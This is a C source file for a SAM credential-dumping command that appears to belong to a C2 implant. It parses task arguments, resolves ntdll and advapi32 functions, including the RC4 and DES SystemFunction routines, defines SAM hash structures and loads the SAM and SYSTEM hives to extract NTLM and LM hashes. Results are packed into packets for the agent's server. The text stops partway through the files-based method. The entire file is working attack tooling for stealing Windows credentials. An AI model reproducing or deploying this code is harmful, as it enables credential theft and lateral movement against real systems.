#undef UNICODE
#include <windows.h>
#include <winternl.h>
#include <wincrypt.h>
#include <winsvc.h>
#include <winreg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "samdump.h"
#include "analizador.h"
#include "paquete.h"
#include "debug.h"
#include "tokens.h"

#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "ntdll.lib")

// Native Windows API declarations
#ifndef NtCurrentProcess
#define NtCurrentProcess ((HANDLE)(LONG_PTR)-1)
#endif

#ifndef RTL_CONSTANT_STRING
#define RTL_CONSTANT_STRING(s) { sizeof(s) - sizeof(*(s)), sizeof(s), (PWSTR)(s) }
#endif

#ifndef RTL_CONSTANT_ANSI_STRING
#define RTL_CONSTANT_ANSI_STRING(s) { sizeof(s) - sizeof(*(s)), sizeof(s), (PSTR)(s) }
#endif

// NTSTATUS definitions
#ifndef STATUS_SUCCESS
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#endif

#ifndef STATUS_BUFFER_TOO_SMALL
#define STATUS_BUFFER_TOO_SMALL ((NTSTATUS)0xC0000023L)
#endif

#ifndef STATUS_INSUFFICIENT_RESOURCES
#define STATUS_INSUFFICIENT_RESOURCES ((NTSTATUS)0xC000009AL)
#endif

#ifndef STATUS_UNSUCCESSFUL
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
#endif

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

// Registry key information classes
typedef enum _KEY_INFORMATION_CLASS {
    KeyBasicInformation = 0,
    KeyNodeInformation = 1,
    KeyFullInformation = 2,
    KeyNameInformation = 3,
    KeyCachedInformation = 4,
    KeyVirtualizationInformation = 5,
    KeyHandleTagsInformation = 6,
    KeyTrustInformation = 7,
    KeyLayerInformation = 8
} KEY_INFORMATION_CLASS;

typedef enum _KEY_VALUE_INFORMATION_CLASS {
    KeyValueBasicInformation = 0,
    KeyValueFullInformation = 1,
    KeyValuePartialInformation = 2,
    KeyValueFullInformationAlign64 = 3,
    KeyValuePartialInformationAlign64 = 4
} KEY_VALUE_INFORMATION_CLASS;

// Registry structures
typedef struct _KEY_BASIC_INFORMATION {
    LARGE_INTEGER LastWriteTime;
    ULONG TitleIndex;
    ULONG NameLength;
    WCHAR Name[1];
} KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION;

typedef struct _KEY_FULL_INFORMATION {
    LARGE_INTEGER LastWriteTime;
    ULONG TitleIndex;
    ULONG ClassOffset;
    ULONG ClassLength;
    ULONG SubKeys;
    ULONG MaxNameLen;
    ULONG MaxClassLen;
    ULONG Values;
    ULONG MaxValueNameLen;
    ULONG MaxValueDataLen;
    WCHAR Class[1];
} KEY_FULL_INFORMATION, *PKEY_FULL_INFORMATION;

typedef struct _KEY_NODE_INFORMATION {
    LARGE_INTEGER LastWriteTime;
    ULONG TitleIndex;
    ULONG ClassOffset;
    ULONG ClassLength;
    ULONG NameLength;
    WCHAR Name[1];
} KEY_NODE_INFORMATION, *PKEY_NODE_INFORMATION;

typedef struct _KEY_VALUE_PARTIAL_INFORMATION {
    ULONG TitleIndex;
    ULONG Type;
    ULONG DataLength;
    UCHAR Data[1];
} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION;

typedef struct _KEY_VALUE_FULL_INFORMATION {
    ULONG TitleIndex;
    ULONG Type;
    ULONG DataOffset;
    ULONG DataLength;
    ULONG NameLength;
    WCHAR Name[1];
} KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION;

// Registry options
#define REG_OPTION_BACKUP_RESTORE 0x00000004L

// Native API function pointers (loaded dynamically from ntdll.dll)
typedef NTSTATUS (NTAPI *PNTOPENPROCESSTOKEN)(HANDLE, ACCESS_MASK, PHANDLE);
typedef NTSTATUS (NTAPI *PNTQUERYINFORMATIONTOKEN)(HANDLE, TOKEN_INFORMATION_CLASS, PVOID, ULONG, PULONG);
typedef NTSTATUS (NTAPI *PNTOPENKEY)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES);
typedef NTSTATUS (NTAPI *PNTQUERYVALUEKEY)(HANDLE, PCUNICODE_STRING, KEY_VALUE_INFORMATION_CLASS, PVOID, ULONG, PULONG);
typedef NTSTATUS (NTAPI *PNTQUERYKEY)(HANDLE, KEY_INFORMATION_CLASS, PVOID, ULONG, PULONG);
typedef NTSTATUS (NTAPI *PNTENUMERATEKEY)(HANDLE, ULONG, KEY_INFORMATION_CLASS, PVOID, ULONG, PULONG);
typedef NTSTATUS (NTAPI *PLDRGETDLLHANDLE)(PCWSTR, PULONG, PUNICODE_STRING, PVOID*);
typedef NTSTATUS (NTAPI *PLDRGETPROCEDUREADDRESS)(PVOID, PANSI_STRING, ULONG, PVOID*);
typedef NTSTATUS (NTAPI *PRTLACQUIREPRIVILEGE)(PULONG, ULONG, ULONG, PVOID*);
// RtlAllocateAndInitializeSid, RtlEqualSid, RtlFreeSid are available from advapi32.dll
// We use AllocateAndInitializeSid, EqualSid, FreeSid directly (statically linked)

static PNTOPENPROCESSTOKEN pNtOpenProcessToken = NULL;
static PNTQUERYINFORMATIONTOKEN pNtQueryInformationToken = NULL;
static PNTOPENKEY pNtOpenKey = NULL;
static PNTQUERYVALUEKEY pNtQueryValueKey = NULL;
static PNTQUERYKEY pNtQueryKey = NULL;
static PNTENUMERATEKEY pNtEnumerateKey = NULL;
static PLDRGETDLLHANDLE pLdrGetDllHandle = NULL;
static PLDRGETPROCEDUREADDRESS pLdrGetProcedureAddress = NULL;
static PRTLACQUIREPRIVILEGE pRtlAcquirePrivilege = NULL;
// RtlAllocateAndInitializeSid, RtlEqualSid, RtlFreeSid are available from advapi32.dll
// We'll use the advapi32 versions directly (AllocateAndInitializeSid, EqualSid, FreeSid)

// SAM structures (from SamDump code)
#define SYSTEM_KEY_SIZE 16
#define PEK_SIZE 16
#define MD5_DIGEST_LENGTH 16
#define USER_SUBKEY_INFORMATION_SIZE (sizeof(KEY_BASIC_INFORMATION) + 6 * sizeof(WCHAR))

#ifndef ANYSIZE_ARRAY
#define ANYSIZE_ARRAY 1
#endif

#ifndef FIELD_OFFSET
#define FIELD_OFFSET(type, field) ((LONG)(LONG_PTR)&(((type *)0)->field))
#endif

// Security constants
#ifndef SECURITY_NT_AUTHORITY
#define SECURITY_NT_AUTHORITY {0,0,0,0,0,5}
#endif

#ifndef SECURITY_LOCAL_SYSTEM_RID
#define SECURITY_LOCAL_SYSTEM_RID (0x00000012L)
#endif

#ifndef SE_BACKUP_PRIVILEGE
#define SE_BACKUP_PRIVILEGE (17L)
#endif

// Function pointer type for NtOpenKeyEx
typedef NTSTATUS (NTAPI *PNTOPENKEYEX)(
    _Out_ PHANDLE KeyHandle,
    _In_ ACCESS_MASK DesiredAccess,
    _In_ POBJECT_ATTRIBUTES ObjectAttributes,
    _In_ ULONG OpenOptions
);

// SAM structures (adapted from SamDump)
typedef struct _SAM_KEY_DATA {
    ULONG Version;
    ULONG Length;
    union {
        struct {
            UCHAR Salt[16];
            CHAR  Key[16];
            UCHAR CheckSum[16];
        } Rc4;
        struct {
            ULONG ChecksumLength;
            ULONG KeyLength;
            UCHAR Iv[16];
            UCHAR Key[ANYSIZE_ARRAY];
        } Aes;
    };
} SAM_KEY_DATA, *PSAM_KEY_DATA;

typedef struct _SAM_DOMAIN_FIXED_DATA {
    ULONG Version;
    ULONG Reserved;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER DomainModifiedCount;
    LARGE_INTEGER MaxPasswordAge;
    LARGE_INTEGER MinPasswordAge;
    LARGE_INTEGER ForceLogoff;
    LARGE_INTEGER LockoutDuration;
    LARGE_INTEGER LockoutObservationWindow;
    LARGE_INTEGER ModifiedCountAtLastPromotion;
    ULONG NextRid;
    ULONG PasswordProperties;
    USHORT MinPasswordLength;
    USHORT PasswordHistoryLength;
    USHORT LockoutThreshold;
    ULONG DomainServerState;
    ULONG DomainServerRole;
    BOOL UasCompatibilityRequired;
    ULONG Reserved2;
    SAM_KEY_DATA PasswordEncryptionKey;
} SAM_DOMAIN_FIXED_DATA, *PSAM_DOMAIN_FIXED_DATA;

typedef struct _SAM_USER_FIXED_DATA {
    ULONG Version;
    ULONG Reserved;
    LARGE_INTEGER LastLogon;
    LARGE_INTEGER LastLogoff;
    LARGE_INTEGER PasswordLastSet;
    LARGE_INTEGER AccountExpires;
    LARGE_INTEGER LastBadPasswordTime;
    ULONG UserId;
    ULONG PrimaryGroupId;
    ULONG UserAccountControl;
    USHORT CountryCode;
    USHORT CodePage;
    USHORT BadPasswordCount;
    USHORT LogonCount;
    USHORT AdminCount;
    USHORT OperatorCount;
} SAM_USER_FIXED_DATA, *PSAM_USER_FIXED_DATA;

typedef struct _ATTRIBUTE_TABLE_ENTRY {
    ULONG Offset;
    ULONG Length;
    ULONG Reserved;
} ATTRIBUTE_TABLE_ENTRY, *PATTRIBUTE_TABLE_ENTRY;

typedef struct _SAM_USER_VARIABLE_DATA {
    ATTRIBUTE_TABLE_ENTRY Reserved;
    ATTRIBUTE_TABLE_ENTRY UserName;
    ATTRIBUTE_TABLE_ENTRY FullName;
    ATTRIBUTE_TABLE_ENTRY Comment;
    ATTRIBUTE_TABLE_ENTRY UserComment;
    ATTRIBUTE_TABLE_ENTRY Reserved2;
    ATTRIBUTE_TABLE_ENTRY Homedir;
    ATTRIBUTE_TABLE_ENTRY HomedirConnect;
    ATTRIBUTE_TABLE_ENTRY ScriptPath;
    ATTRIBUTE_TABLE_ENTRY ProfilePath;
    ATTRIBUTE_TABLE_ENTRY Workstations;
    ATTRIBUTE_TABLE_ENTRY HoursAllowed;
    ATTRIBUTE_TABLE_ENTRY Reserved3;
    ATTRIBUTE_TABLE_ENTRY LMHash;
    ATTRIBUTE_TABLE_ENTRY NTHash;
    ATTRIBUTE_TABLE_ENTRY NTHistory;
    ATTRIBUTE_TABLE_ENTRY LMHistory;
    UCHAR                 Data[ANYSIZE_ARRAY];
} SAM_USER_VARIABLE_DATA, *PSAM_USER_VARIABLE_DATA;

typedef struct _SAM_HASH {
    USHORT PekId;
    USHORT Revision;
    union {
        struct {
            CHAR Data[ANYSIZE_ARRAY];
        } Rc4;
        struct {
            ULONG DataOffset;
            UCHAR Iv[16];
            UCHAR Data[ANYSIZE_ARRAY];
        } Aes;
    };
} SAM_HASH, *PSAM_HASH;

// MD5 context
typedef struct _MD5_CTX {
    ULONG Count[2];
    ULONG State[4];
    CHAR  Buffer[64];
    CHAR  Digest[MD5_DIGEST_LENGTH];
} MD5_CTX, *PMD5_CTX;

// Forward declarations
static BOOLEAN IsSidLocalSystem(PSID Sid);
static NTSTATUS CanAccessSam(PNTOPENKEYEX* NtOpenKeyExPointer);
static NTSTATUS GetLsaSystemKey(PUCHAR SystemKey);
static NTSTATUS GetLsaSystemKeyFromHive(PWCHAR HiveName, PUCHAR SystemKey);
static NTSTATUS GetPasswordEncryptionKey(PUCHAR LsaSystemKey, PUCHAR PasswordEncryptionKey, PNTOPENKEYEX OpenKeyEx);
static NTSTATUS GetPasswordEncryptionKeyFromHive(PUCHAR LsaSystemKey, PUCHAR PasswordEncryptionKey, PWCHAR HiveName, PNTOPENKEYEX* OpenKeyEx);
static NTSTATUS QueryUserVariableAttributes(HANDLE KeyHandle, PKEY_VALUE_PARTIAL_INFORMATION* ValueInformation);
static VOID DumpPasswordHashes(PUCHAR PasswordEncryptionKey, PNTOPENKEYEX OpenKeyEx, PPaquete respuesta, PPaquete salida);
static VOID DumpPasswordHashesFromHive(PUCHAR PasswordEncryptionKey, PWCHAR HiveName, PNTOPENKEYEX OpenKeyEx, PPaquete respuesta, PPaquete salida);
static BOOL CanAccessSamRemotely(PWCHAR MachineName);
static LONG GetLsaSystemKeyRemote(HKEY HklmHandle, PUCHAR SystemKey);
static LONG GetPasswordEncryptionKeyRemote(HKEY HklmHandle, PUCHAR LsaSystemKey, PUCHAR PasswordEncryptionKey);
static LONG QueryUserVariableAttributesRemote(HKEY KeyHandle, PSAM_USER_VARIABLE_DATA* UserVariableData);
static VOID DumpPasswordHashesRemote(HKEY HklmHandle, PUCHAR PasswordEncryptionKey, PPaquete credentials_paquete, PPaquete salida);
static BOOLEAN DecryptPasswordEncryptionKey(PUCHAR LsaSystemKey, PSAM_DOMAIN_FIXED_DATA DomainFixedData, PUCHAR PasswordEncryptionKey);
static VOID DecryptHash(PATTRIBUTE_TABLE_ENTRY HashTableEntry, PSAM_HASH Hash, PUCHAR PasswordEncryptionKey, ULONG UserRid, BOOLEAN isLMHash, PBYTE* outputHash);
static BOOLEAN Aes128Decrypt(PUCHAR Key, PUCHAR Iv, PUCHAR Ciphertext, ULONG CiphertextLength);

// MD5 functions (simplified - using Windows CryptoAPI)
static VOID MD5Hash(PUCHAR data, ULONG dataLen, PUCHAR digest) {
    HCRYPTPROV hProv = 0;
    HCRYPTHASH hHash = 0;
    DWORD dwHashLen = MD5_DIGEST_LENGTH;
    
    if (CryptAcquireContextA(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) {
        if (CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash)) {
            CryptHashData(hHash, data, dataLen, 0);
            CryptGetHashParam(hHash, HP_HASHVAL, digest, &dwHashLen, 0);
            CryptDestroyHash(hHash);
        }
        CryptReleaseContext(hProv, 0);
    }
}

// SystemFunction033 (RC4) - from ntdll.dll
typedef NTSTATUS (NTAPI *PSYSTEMFUNCTION033)(PSTRING Data, PSTRING Key);
static PSYSTEMFUNCTION033 pSystemFunction033 = NULL;

// SystemFunction027 (DES) - from ntdll.dll
typedef NTSTATUS (NTAPI *PSYSTEMFUNCTION027)(PUCHAR EncryptedNtOwfPassword, PULONG Index, LPBYTE NtOwfPassword);
static PSYSTEMFUNCTION027 pSystemFunction027 = NULL;

// Initialize native API functions from ntdll.dll and advapi32.dll
static BOOL InitNativeFunctions(void) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) {
        _err("[InitNativeFunctions] Failed to get ntdll.dll handle");
        return FALSE;
    }
    
    HMODULE hAdvapi32 = GetModuleHandleA("advapi32.dll");
    if (!hAdvapi32) {
        _err("[InitNativeFunctions] Failed to get advapi32.dll handle");
        return FALSE;
    }
    
    // Load crypto functions from advapi32.dll (not ntdll.dll!)
    pSystemFunction033 = (PSYSTEMFUNCTION033)GetProcAddress(hAdvapi32, "SystemFunction033");
    if (!pSystemFunction033) {
        _err("[InitNativeFunctions] Failed to load SystemFunction033 from advapi32.dll");
        return FALSE;
    }
    _inf("[InitNativeFunctions] SystemFunction033 loaded successfully");
    
    pSystemFunction027 = (PSYSTEMFUNCTION027)GetProcAddress(hAdvapi32, "SystemFunction027");
    if (!pSystemFunction027) {
        _err("[InitNativeFunctions] Failed to load SystemFunction027 from advapi32.dll");
        return FALSE;
    }
    _inf("[InitNativeFunctions] SystemFunction027 loaded successfully");
    
    // Load native API functions from ntdll.dll
    pNtOpenProcessToken = (PNTOPENPROCESSTOKEN)GetProcAddress(hNtdll, "NtOpenProcessToken");
    if (!pNtOpenProcessToken) _err("[InitNativeFunctions] Failed to load NtOpenProcessToken");
    
    pNtQueryInformationToken = (PNTQUERYINFORMATIONTOKEN)GetProcAddress(hNtdll, "NtQueryInformationToken");
    if (!pNtQueryInformationToken) _err("[InitNativeFunctions] Failed to load NtQueryInformationToken");
    
    pNtOpenKey = (PNTOPENKEY)GetProcAddress(hNtdll, "NtOpenKey");
    if (!pNtOpenKey) _err("[InitNativeFunctions] Failed to load NtOpenKey");
    
    pNtQueryValueKey = (PNTQUERYVALUEKEY)GetProcAddress(hNtdll, "NtQueryValueKey");
    if (!pNtQueryValueKey) _err("[InitNativeFunctions] Failed to load NtQueryValueKey");
    
    pNtQueryKey = (PNTQUERYKEY)GetProcAddress(hNtdll, "NtQueryKey");
    if (!pNtQueryKey) _err("[InitNativeFunctions] Failed to load NtQueryKey");
    
    pNtEnumerateKey = (PNTENUMERATEKEY)GetProcAddress(hNtdll, "NtEnumerateKey");
    if (!pNtEnumerateKey) _err("[InitNativeFunctions] Failed to load NtEnumerateKey");
    
    pLdrGetDllHandle = (PLDRGETDLLHANDLE)GetProcAddress(hNtdll, "LdrGetDllHandle");
    if (!pLdrGetDllHandle) _err("[InitNativeFunctions] Failed to load LdrGetDllHandle");
    
    pLdrGetProcedureAddress = (PLDRGETPROCEDUREADDRESS)GetProcAddress(hNtdll, "LdrGetProcedureAddress");
    if (!pLdrGetProcedureAddress) _err("[InitNativeFunctions] Failed to load LdrGetProcedureAddress");
    
    pRtlAcquirePrivilege = (PRTLACQUIREPRIVILEGE)GetProcAddress(hNtdll, "RtlAcquirePrivilege");
    if (!pRtlAcquirePrivilege) _err("[InitNativeFunctions] Failed to load RtlAcquirePrivilege");
    
    // RtlAllocateAndInitializeSid, RtlEqualSid, RtlFreeSid are available from advapi32.dll
    // We'll use the advapi32 versions directly (AllocateAndInitializeSid, EqualSid, FreeSid)
    // These are available statically, no need to load dynamically
    
    // NtClose is available directly from winternl.h, no need to load
    
    if (!pSystemFunction033 || !pSystemFunction027 || !pNtOpenProcessToken || 
        !pNtQueryInformationToken || !pNtOpenKey || !pNtQueryValueKey || 
        !pNtQueryKey || !pNtEnumerateKey || !pLdrGetDllHandle || 
        !pLdrGetProcedureAddress || !pRtlAcquirePrivilege) {
        _err("[InitNativeFunctions] Failed to load one or more native functions");
        return FALSE;
    }
    
    _inf("[InitNativeFunctions] All native functions loaded successfully");
    
    return TRUE;
}

/*
 * SamDumpHandler - Dump SAM database and extract NTLM hashes
 * 
 * Adapted from functional SamDump code
 */
VOID SamDumpHandler(PAnalizador argumentos) {
    _inf("===== SamDumpHandler INICIO =====");
    
    // Read task UUID first - cuando input_type=string, el formato es [UUID:36][nbArg:4][params...]
    SIZE_T tamanoUuid = 36;
    PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
    
    if (!tareaUuid || tamanoUuid != 36) {
        _err("[samdump] UUID de tarea inválido (ptr=%p, len=%zu)", tareaUuid, tamanoUuid);
        return;
    }
    
    // Ensure UUID is null-terminated for logging
    CHAR uuidBuffer[37] = {0};
    memcpy(uuidBuffer, tareaUuid, 36);
    uuidBuffer[36] = '\0';
    
    // Prepare raw UUID bytes (36) to avoid strlen issues when adding to packets
    BYTE uuidRaw[36];
    memcpy(uuidRaw, tareaUuid, 36);
    
    _inf("[samdump] UUID de tarea leído: '%.36s'", uuidBuffer);
    
    // Initialize packages early for error handling
    PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);  // TRUE agrega UUID del agente automáticamente
    _inf("[samdump] Paquete respuesta creado, length=%zu (UUID_agente + POST_RESPONSE)", respuesta->length);
    
    SIZE_T lengthBefore = respuesta->length;
    addBytes(respuesta, (PBYTE)uuidRaw, 36, FALSE);  // Task UUID (igual que screenshot)
    _inf("[samdump] UUID de tarea agregado, length antes=%zu, length después=%zu (diff=%zu)", 
         lengthBefore, respuesta->length, respuesta->length - lengthBefore);
    PPaquete salida = nuevoPaquete(0, FALSE);
    PPaquete artifacts = nuevoPaquete(0, FALSE);
    
    // Liberar UUID después de usarlo (igual que otros comandos)
    if (tareaUuid) {
        LocalFree(tareaUuid);
    }
    
    // Read number of arguments
    UINT32 nbArg = getInt32(argumentos);
    _inf("[samdump] Número de argumentos: %u", nbArg);
    
    // Parse parameters in fixed order: [method][sam_path][system_path] or [method][remote_host][username][password]
    CHAR method[32] = {0};  // "registry", "files", or "remote"
    CHAR samPath[MAX_PATH] = {0};
    CHAR systemPath[MAX_PATH] = {0};
    CHAR remoteHost[256] = {0};
    CHAR username[256] = {0};
    CHAR password[256] = {0};
    
    // Default to registry if no parameters
    strncpy(method, "registry", sizeof(method) - 1);
    
    // Read parameters in fixed order
    if (nbArg > 0) {
        // Parameter 0: method
        SIZE_T methodLen = 0;
        PCHAR methodValue = getString(argumentos, &methodLen);
        if (methodValue && methodLen > 0) {
            SIZE_T copyLen = (methodLen < sizeof(method) - 1) ? methodLen : sizeof(method) - 1;
            memcpy(method, methodValue, copyLen);
            method[copyLen] = '\0';
            _inf("[samdump] Método: %s", method);
        }
        if (methodValue) LocalFree(methodValue);
        
        if (strcmp(method, "files") == 0) {
            // Parameters 1-2: sam_path and system_path (optional - will try common paths if not provided)
            if (nbArg >= 2) {
                // Parameter 1: sam_path
                SIZE_T samPathLen = 0;
                PCHAR samPathValue = getString(argumentos, &samPathLen);
                if (samPathValue && samPathLen > 0) {
                    SIZE_T copyLen = (samPathLen < sizeof(samPath) - 1) ? samPathLen : sizeof(samPath) - 1;
                    memcpy(samPath, samPathValue, copyLen);
                    samPath[copyLen] = '\0';
                    _inf("[samdump] SAM path provided: %s", samPath);
                }
                if (samPathValue) LocalFree(samPathValue);
                
                if (nbArg >= 3) {
                    // Parameter 2: system_path
                    SIZE_T systemPathLen = 0;
                    PCHAR systemPathValue = getString(argumentos, &systemPathLen);
                    if (systemPathValue && systemPathLen > 0) {
                        SIZE_T copyLen = (systemPathLen < sizeof(systemPath) - 1) ? systemPathLen : sizeof(systemPath) - 1;
                        memcpy(systemPath, systemPathValue, copyLen);
                        systemPath[copyLen] = '\0';
                        _inf("[samdump] SYSTEM path provided: %s", systemPath);
                    }
                    if (systemPathValue) LocalFree(systemPathValue);
                }
            } else {
                _inf("[samdump] No paths provided, will try common locations");
            }
        } else if (strcmp(method, "remote") == 0) {
            if (nbArg < 2) {
                PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: remote_host is required when method=remote\n");
                addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
                mandarPaquete(respuesta);
                liberarPaquete(salida);
                liberarPaquete(artifacts);
                liberarPaquete(respuesta);
                return;
            }
            
            // Parameter 1: remote_host (required)
            SIZE_T remoteHostLen = 0;
            PCHAR remoteHostValue = getString(argumentos, &remoteHostLen);
            if (remoteHostValue && remoteHostLen > 0) {
                SIZE_T copyLen = (remoteHostLen < sizeof(remoteHost) - 1) ? remoteHostLen : sizeof(remoteHost) - 1;
                memcpy(remoteHost, remoteHostValue, copyLen);
                remoteHost[copyLen] = '\0';
                _inf("[samdump] Remote host: %s", remoteHost);
            } else {
                PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: remote_host is required when method=remote\n");
                if (remoteHostValue) LocalFree(remoteHostValue);
                addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
                mandarPaquete(respuesta);
                liberarPaquete(salida);
                liberarPaquete(artifacts);
                liberarPaquete(respuesta);
                return;
            }
            if (remoteHostValue) LocalFree(remoteHostValue);
            
            // Parameters 2-3: username and password (optional, only if impersonate=true)
            if (nbArg >= 3) {
                SIZE_T usernameLen = 0;
                PCHAR usernameValue = getString(argumentos, &usernameLen);
                if (usernameValue && usernameLen > 0) {
                    SIZE_T copyLen = (usernameLen < sizeof(username) - 1) ? usernameLen : sizeof(username) - 1;
                    memcpy(username, usernameValue, copyLen);
                    username[copyLen] = '\0';
                    _inf("[samdump] Username: %s", username);
                }
                if (usernameValue) LocalFree(usernameValue);
                
                if (nbArg >= 4) {
                    SIZE_T passwordLen = 0;
                    PCHAR passwordValue = getString(argumentos, &passwordLen);
                    if (passwordValue && passwordLen > 0) {
                        SIZE_T copyLen = (passwordLen < sizeof(password) - 1) ? passwordLen : sizeof(password) - 1;
                        memcpy(password, passwordValue, copyLen);
                        password[copyLen] = '\0';
                        _inf("[samdump] Password: (provided, %zu chars)", passwordLen);
                    }
                    if (passwordValue) LocalFree(passwordValue);
                }
            }
        }
    
    // Initialize native API functions (needed for registry method)
    if (strcmp(method, "registry") == 0) {
        if (!InitNativeFunctions()) {
            PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Failed to initialize native API functions\n");
            addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
            mandarPaquete(respuesta);
            liberarPaquete(salida);
            liberarPaquete(artifacts);
            liberarPaquete(respuesta);
            return;
        }
    }
    }
    
    PackageAddFormatPrintf(salida, FALSE, "[samdump] Starting SAM database dump...\n");
    PackageAddFormatPrintf(salida, FALSE, "============================================\n");
    PackageAddFormatPrintf(salida, FALSE, "||         SAM Database Dump              ||\n");
    PackageAddFormatPrintf(salida, FALSE, "============================================\n\n");
    PackageAddFormatPrintf(salida, FALSE, "[samdump] Method: %s\n\n", method);
    
    // Route to appropriate dump method
    if (strcmp(method, "files") == 0) {
        // Both paths are required for files method
        if (samPath[0] == '\0') {
            PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: sam_path is required when method=files\n");
            addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
            mandarPaquete(respuesta);
            liberarPaquete(salida);
            liberarPaquete(artifacts);
            liberarPaquete(respuesta);
            return;
        }
        
        if (systemPath[0] == '\0') {
            PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: system_path is required when method=files\n");
            addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
            mandarPaquete(respuesta);
            liberarPaquete(salida);
            liberarPaquete(artifacts);
            liberarPaquete(respuesta);
            return;
        }
        
        // Verify that the files exist
        if (GetFileAttributesA(samPath) == INVALID_FILE_ATTRIBUTES) {
            PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: SAM file not found: %s\n", samPath);
            PackageAddFormatPrintf(salida, FALSE, "[samdump] Error code: %lu\n", GetLastError());
            addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
            mandarPaquete(respuesta);
            liberarPaquete(salida);
            liberarPaquete(artifacts);
            liberarPaquete(respuesta);
            return;
        }
        
        if (GetFileAttributesA(systemPath) == INVALID_FILE_ATTRIBUTES) {
            PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: SYSTEM file not found: %s\n", systemPath);
            PackageAddFormatPrintf(salida, FALSE, "[samdump] Error code: %lu\n", GetLastError());
            addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
            mandarPaquete(respuesta);
            liberarPaquete(salida);
            liberarPaquete(artifacts);
            liberarPaquete(respuesta);
            return;
        }
        
        PackageAddFormatPrintf(salida, FALSE, "[samdump] Using SAM file: %s\n", samPath);
        PackageAddFormatPrintf(salida, FALSE, "[samdump] Using SYSTEM file: %s\n", systemPath);
        
        // Load hives into temporary registry keys
        PackageAddFormatPrintf(salida, FALSE, "[samdump] Loading registry hives from files...\n");
        
        // Convert paths to wide strings for RegLoadKey
        WCHAR samPathW[MAX_PATH] = {0};
        WCHAR systemPathW[MAX_PATH] = {0};
        MultiByteToWideChar(CP_ACP, 0, samPath, -1, samPathW, MAX_PATH);
        MultiByteToWideChar(CP_ACP, 0, systemPath, -1, systemPathW, MAX_PATH);
        
        // Temporary key names
        WCHAR tempSamKey[] = L"SAM_TEMP";
        WCHAR tempSystemKey[] = L"SYSTEM_TEMP";
        
        LONG regResult;
        HKEY hkLocalMachine = NULL;
        
        // Open HKEY_LOCAL_MACHINE
        regResult = RegOpenKeyExW(HKEY_LOCAL_MACHINE, NULL, 0, KEY_ALL_ACCESS, &hkLocalMachine);
        if (regResult != ERROR_SUCCESS) {
            PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Failed to open HKEY_LOCAL_MACHINE: %ld\n", regResult);
            PackageAddFormatPrintf(salida, FALSE, "[samdump] Requires SYSTEM privileges or SeBackupPrivilege/SeRestorePrivilege\n");
            addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
            mandarPaquete(respuesta);
            liberarPaquete(salida);
            liberarPaquete(artifacts);
            liberarPaquete(respuesta);
            return;
        }
        
        // Load SAM hive
        regResult = RegLoadKeyW(hkLocalMachine, tempSamKey, samPathW);
        if (regResult != ERROR_SUCCESS) {
            PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Failed to load SAM hive: %ld\n", regResult);
            PackageAddFormatPrintf(salida, FALSE, "[samdump] Requires SYSTEM privileges or SeBackupPrivilege/SeRestorePrivilege\n");
            RegCloseKey(hkLocalMachine);
            addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
            mandarPaquete(respuesta);
            liberarPaquete(salida);
            liberarPaquete(artifacts);
            liberarPaquete(respuesta);
            return;
        }
        PackageAddFormatPrintf(salida, FALSE, "[samdump] SAM hive loaded successfully\n");
        
        // Load SYSTEM hive
        regResult = RegLoadKeyW(hkLocalMachine, tempSystemKey, systemPathW);
        if (regResult != ERROR_SUCCESS) {
            PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Failed to load SYSTEM hive: %ld\n", regResult);
            RegUnLoadKeyW(hkLocalMachine, tempSamKey);  // Unload SAM if SYSTEM fails
            RegCloseKey(hkLocalMachine);
            addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
            mandarPaquete(respuesta);
            liberarPaquete(salida);
            liberarPaquete(artifacts);
            liberarPaquete(respuesta);
            return;
        }
        PackageAddFormatPrintf(salida, FALSE, "[samdump] SYSTEM hive loaded successfully\n");
        
        // Initialize native API functions
        if (!InitNativeFunctions()) {
            PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Failed to initialize native API functions\n");
            RegUnLoadKeyW(hkLocalMachine, tempSamKey);
            RegUnLoadKeyW(hkLocalMachine, tempSystemKey);
            RegCloseKey(hkLocalMachine);
            addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
            mandarPaquete(respuesta);
            liberarPaquete(salida);
            liberarPaquete(artifacts);
            liberarPaquete(respuesta);
            return;
        }
        
        // Get LSA system key from loaded SYSTEM hive
        PackageAddFormatPrintf(salida, FALSE, "[samdump] Extracting LSA system key from loaded SYSTEM hive...\n");
        UCHAR LsaSystemKey[SYSTEM_KEY_SIZE];
